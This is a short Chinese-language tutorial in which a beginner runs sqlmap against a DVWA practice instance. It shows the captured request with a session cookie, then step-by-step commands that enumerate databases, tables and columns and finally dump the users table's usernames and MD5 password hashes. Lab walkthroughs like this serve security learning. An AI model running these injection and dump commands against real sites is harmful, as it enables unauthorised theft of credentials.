sqlmap dvwa SQL Injection使用小记

刚刚开始学习sql injection，初步使用sqlmap，使用

GET http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#  HTTP/1.1

Host=www.dvssc.com
User-Agent=Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-us,en;q=0.5
Accept-Encoding=gzip, deflate
Connection=keep-alive
Referer=http://www.dvssc.com/dvwa/vulnerabilities/sqli/
Cookie=security=low; PHPSESSID=adc4ofjlnsaogmqd8emldhhlf5

我们可以在命令行中运行下面命令列出数据库的名字

./sqlmap.py -u "http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=adc4ofjlnsaogmqd8emldhhlf5"  --dbs

可以看到如下结果：

[12:05:19] [INFO] fetching database names
available databases [2]:
[*] dvwa
[*] information_schema

可以看到列出两个数据库的名，继续命令， 列出dvwa数据库的表名

./sqlmap.py -u "http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=adc4ofjlnsaogmqd8emldhhlf5"  -D dvwa --tables

[12:08:11] [INFO] fetching tables for database: 'dvwa'
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

我们可以查看users这个表中有哪些列：

./sqlmap.py -u "http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=adc4ofjlnsaogmqd8emldhhlf5"  -D dvwa -T users --column

[12:10:14] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| user       | varchar(15) |
| avatar     | varchar(70) |
| first_name | varchar(15) |
| last_name  | varchar(15) |
| password   | varchar(32) |
| user_id    | int(6)      |
+------------+-------------+

查看指定的列的值：

./sqlmap.py -u "http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=adc4ofjlnsaogmqd8emldhhlf5"  -D dvwa -T users -C user,password,user_id --dump

Database: dvwa
Table: users
[5 entries]
+---------+---------+----------------------------------+
| user_id | user    | password                         |
+---------+---------+----------------------------------+
| 1       | admin   | 21232f297a57a5a743894a0e4a801fc3 |
| 2       | gordonb | e99a18c428cb38d5f260853678922e03 |
| 3       | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b |
| 4       | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| 5       | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+---------+----------------------------------+

可以看出已经dump出来的用户名和相应的密码等信息。
